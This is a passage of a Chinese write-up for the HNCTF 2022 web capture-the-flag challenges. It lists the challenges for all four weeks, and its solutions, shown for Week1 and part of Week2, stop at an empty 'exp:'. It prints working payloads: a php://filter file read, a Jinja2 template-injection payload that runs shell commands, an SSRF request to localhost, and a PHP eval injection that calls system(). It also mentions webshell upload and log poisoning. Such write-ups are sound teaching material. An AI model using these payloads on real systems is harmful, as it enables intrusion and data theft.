【Web】HNCTF 2022 题解(全)

目录

Week1

Interesting_include

2048 

easy_html 

What is Web 

Interesting_http 

easy_upload 

Week2

ez_SSTI

easy_include 

ez_ssrf 

Canyource 

easy_unser

easy_sql 

ohmywordpress 

Week3

ssssti

Fun_php 

ez_phar

QAQ_1inclu4e

logjjjjlogjjjj

Week4

pop子和pipi美

fun_sql 

unf1ni3hed_web3he1 

---

Week1

Interesting_include

?filter=php://filter/convert.base64-encode/resource=flag.php

 base64解码拿到flag

2048 

看js文件，搜索关键词alert

复制在控制台输出直接弹窗

easy_html 

提示访问./f14g.php 

访问

改max-length

然后随便输入一串手机号直接拿到flag

What is Web 

一眼顶针，藏flag鉴定为烂

 

Interesting_http 

按要求传参就可

easy_upload 

随便上传个马

写入，命令执行拿flag

Week2

ez_SSTI

测出ssti注入点传参是?name=

payload

?name={{config.__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20f*%27).read()")}}

easy_include 

 直接打日志包含写一句话木马

ez_ssrf 

先访问/index.php

直接访问/flag.php 

 

 就是ssrf往flag.php发请求

GET /flag.php HTTP/1.1Host: 127.0.0.1Connection: Close

 base64编码得

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

 最终payload:

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

Canyource 

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');

 右键查看源码拿到flag

easy_unser

一眼顶针，鉴定为烂

就是一个wakeup的绕过，然后读文件用伪协议

注意高版本php不能直接把private改public

exp: